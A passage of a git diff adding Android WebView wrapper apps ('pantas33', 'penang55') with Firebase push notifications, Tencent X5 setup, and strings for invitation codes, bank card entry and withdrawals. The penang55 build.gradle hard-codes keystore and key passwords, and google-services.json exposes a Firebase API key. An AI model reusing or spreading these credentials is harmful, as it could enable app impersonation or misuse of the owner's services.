public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/pantas33/src/main/java/com/web/pantas33/MyFirebaseMessageingService.java b/pantas33/src/main/java/com/web/pantas33/MyFirebaseMessageingService.java new file mode 100644 index 0000000..4fa4da3 --- /dev/null +++ b/pantas33/src/main/java/com/web/pantas33/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.pantas33; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/pantas33/src/main/java/com/web/pantas33/WebApplication.java b/pantas33/src/main/java/com/web/pantas33/WebApplication.java new file mode 100644 index 0000000..817b760 --- /dev/null +++ b/pantas33/src/main/java/com/web/pantas33/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.pantas33; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/pantas33/src/main/res/drawable-anydpi/ic_action_back.xml b/pantas33/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/pantas33/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/pantas33/src/main/res/drawable-hdpi/ic_action_back.png b/pantas33/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/pantas33/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/pantas33/src/main/res/drawable-mdpi/ic_action_back.png b/pantas33/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/pantas33/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/pantas33/src/main/res/drawable-v24/ic_launcher_foreground.xml b/pantas33/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/pantas33/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/drawable-xhdpi/ic_action_back.png b/pantas33/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/pantas33/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/pantas33/src/main/res/drawable-xxhdpi/ic_action_back.png b/pantas33/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/pantas33/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/pantas33/src/main/res/drawable/big_bg.xml b/pantas33/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..3fb98f2 --- /dev/null +++ b/pantas33/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/drawable/ic_launcher_background.xml b/pantas33/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/pantas33/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/pantas33/src/main/res/drawable/input_bg.xml b/pantas33/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/pantas33/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/pantas33/src/main/res/drawable/pass_word_bg.xml b/pantas33/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/pantas33/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/pantas33/src/main/res/drawable/pass_word_bg1.xml b/pantas33/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/pantas33/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/drawable/pass_word_bg2.xml b/pantas33/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/pantas33/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/drawable/shape_btn_bg.xml b/pantas33/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/pantas33/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/drawable/shape_dialog_bg2.xml b/pantas33/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/pantas33/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/drawable/shape_dialog_bg3.xml b/pantas33/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/pantas33/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/drawable/shape_dialog_bg_new.xml b/pantas33/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/pantas33/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/pantas33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/pantas33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/pantas33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/pantas33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/mipmap-hdpi/ic_empty.png b/pantas33/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/pantas33/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/pantas33/src/main/res/mipmap-hdpi/ic_pull_down.png b/pantas33/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/pantas33/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/pantas33/src/main/res/mipmap-xhdpi/ic_close.png b/pantas33/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/pantas33/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/pantas33/src/main/res/mipmap-xhdpi/ic_menu.png b/pantas33/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/pantas33/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/pantas33/src/main/res/mipmap-xxhdpi/app_logo.jpg b/pantas33/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..e0e5ac4 Binary files /dev/null and b/pantas33/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/pantas33/src/main/res/values-en/strings.xml b/pantas33/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/pantas33/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/pantas33/src/main/res/values-night/themes.xml b/pantas33/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/pantas33/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/values/colors.xml b/pantas33/src/main/res/values/colors.xml new file mode 100644 index 0000000..7895913 --- /dev/null +++ b/pantas33/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/pantas33/src/main/res/values/strings.xml b/pantas33/src/main/res/values/strings.xml new file mode 100644 index 0000000..b68a9fb --- /dev/null +++ b/pantas33/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + pantas33 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/values/themes.xml b/pantas33/src/main/res/values/themes.xml new file mode 100644 index 0000000..e1c80ec --- /dev/null +++ b/pantas33/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/xml/app_updater_paths.xml b/pantas33/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/pantas33/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/xml/network_security_config.xml b/pantas33/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/pantas33/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/pantas33/src/main/res/xml/provider_paths.xml b/pantas33/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/pantas33/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/pantas33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/pantas33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/pantas33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/penang55/.gitignore b/penang55/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/penang55/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/penang55/build.gradle b/penang55/build.gradle new file mode 100644 index 0000000..dde776c --- /dev/null +++ b/penang55/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.penang55" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "penang55" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/penang55/dskjweb.jks b/penang55/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/penang55/dskjweb.jks differ diff --git a/penang55/google-services.json b/penang55/google-services.json new file mode 100644 index 0000000..02c5229 --- /dev/null +++ b/penang55/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "855556794264", + "project_id": "penang55-aceff", + "storage_bucket": "penang55-aceff.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:855556794264:android:b486fff4df8da6fee12ded", + "android_client_info": { + "package_name": "com.web.penang55" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyA09RZu9hr04LUZ41NBRai5u1fG5eXG_2w" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/penang55/ppn.jks b/penang55/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/penang55/ppn.jks differ diff --git a/penang55/proguard-rules.pro b/penang55/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/penang55/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/penang55/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/penang55/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/penang55/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/penang55/src/main/AndroidManifest.xml b/penang55/src/main/AndroidManifest.xml new file mode 100644 index 0000000..d20902d --- /dev/null +++ b/penang55/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/penang55/src/main/java/com/web/penang55/MainActivity.java b/penang55/src/main/java/com/web/penang55/MainActivity.java new file mode 100644 index 0000000..1b50a96 --- /dev/null +++ b/penang55/src/main/java/com/web/penang55/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.penang55; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 177; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://penang55.co"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#14212a"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#303e49"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/penang55/src/main/java/com/web/penang55/MyFirebaseMessageingService.java b/penang55/src/main/java/com/web/penang55/MyFirebaseMessageingService.java new file mode 100644 index 0000000..d810b66 --- /dev/null +++ b/penang55/src/main/java/com/web/penang55/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.penang55; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + 